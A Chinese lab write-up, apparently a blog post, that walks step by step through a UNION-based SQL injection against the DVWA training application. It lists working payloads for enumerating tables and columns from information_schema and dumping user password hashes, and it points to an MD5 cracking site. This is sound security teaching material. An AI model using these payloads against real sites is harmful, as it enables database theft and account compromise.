SQL注入一般过程

实验:Vulnerability: SQL Injection(low)

SQL注入一般过程

1.判断注入点

一般和数据库进行交互的位置

2.判断注入点类型

字符型判断:

1' 报错

1' and '1'='2 错误结果

1' and '1'='1 正确结果

数字型判断:

1' 报错

1 and 1=2 错误结果

1 and 1=1 正确结果

3.获取数据回显位置

3.1 判断返回字段数

两种方式判断:1.order by 2. union select

1' order by 1# 正确显示结果

1' order by 2# 正确显示结果

1' order by 3# 报错

判断返回结果有两列。

3.2 判断回显位置

1' union select 1# 报错

1' union select 1,2# 正确显示,并成功显示回显位置

4.查询数据库名

database() 获取数据库名,user()获取用户名

1' union select database(),user() #

5.获取表名

数据库:information_schema

数据表:information_schema.tables

字段:table_schema = 'dvwa'

通过上面的内容查询表名,table_name

-1' union select 1,table_name from information_schema.tables

where table_schema=database()#

报错:

Illegal mix of collations for operation 'UNION' 编码错误

三种方式解决:

1.变成16进制输出

-1' union select 1,hex(table_name) from information_schema.tables

where table_schema=database()#

2.输出指定字符集

-1' union select 1,table_name collate utf8_general_ci from information_schema.tables

where table_schema=database()#

3.直接修改数据库字符集

查询结果可能只显示一条,因此使用group_concat()函数,将结果进行聚合

-1' union select 1,group_concat(table_name) collate utf8_general_ci from information_schema.tables

where table_schema=database()#

查询结果为:guestbook,users

5.查询字段名

数据库:information_schema

表:information_schema.columns

条件字段:table_schema='dvwa',table_name='users'

查询内容:column_name

-1' union select 1,group_concat(column_name) collate utf8_general_ci from information_schema.columns

where table_schema=database() and table_name='users'#

查询结果: user_id,first_name,last_name,user,password,avatar,last_login,failed_login

6.查询数据

查询表:users

查询字段:user,password

-1' union select 1,group_concat(user,'~',password) from users#

查询结果:admin~5f4dcc3b5aa765d61d8327deb882cf99,gordonb~e99a18c428cb38d5f260853678922e03,1337~8d3533d75ae2c3966d7e0d4fcc69216b,pablo~0d107d09f5bbe40cade3de5c71e9e9b7,smithy~5f4dcc3b5aa765d61d8327deb882cf99

MD5在线解密:

https://www.cmd5.com/

相关推荐
data analyse 4568 分钟前
页面卸载时埋点上报总丢失?sendBeacon 上报与补偿方案
大数据·运维·服务器·前端·数据库·人工智能·数据分析
企查查数据服务9 分钟前
充电桩集采准入:用企业数据做供应商失信批量核验
大数据·数据库·人工智能
敲上瘾17 分钟前
分布式系统——Redis哨兵:自动故障转移与选举原理
linux·数据库·redis·分布式·缓存·微服务
子沫202036 分钟前
mysql慢sql
sql·mysql
2501_9339232541 分钟前
MySQL CRUD 详解:表数据插入、更新与删除,附生产避坑指南
数据库·mysql
爱喝水的鱼丶3 小时前
SAP-ABAP:S/4 HANA ABAP 新特性入门:与 ECC ABAP 的核心差异、架构优势与学习路径规划
运维·数据库·性能优化·sap·abap·hana·开发交流
余槐i10 小时前
PostgreSQL 函数索引报错 must be immutable:3种绕法与代价
数据库·后端·sql·postgresql·性能优化
数据库小学妹10 小时前
PostgreSQL表膨胀怎么办?autovacuum清不动的根因与排查命令
数据库·postgresql·表膨胀·mvcc·数据库运维
mister_guo10 小时前
MySQL-1267错误:排序规则冲突的原因与解决方案
数据库·mysql
骇客野人11 小时前
在麒麟操作系统上 分别安装 jdk1.8, 达梦数据库,redis ,memcache 的操作实施方案和步骤
数据库·redis·memcached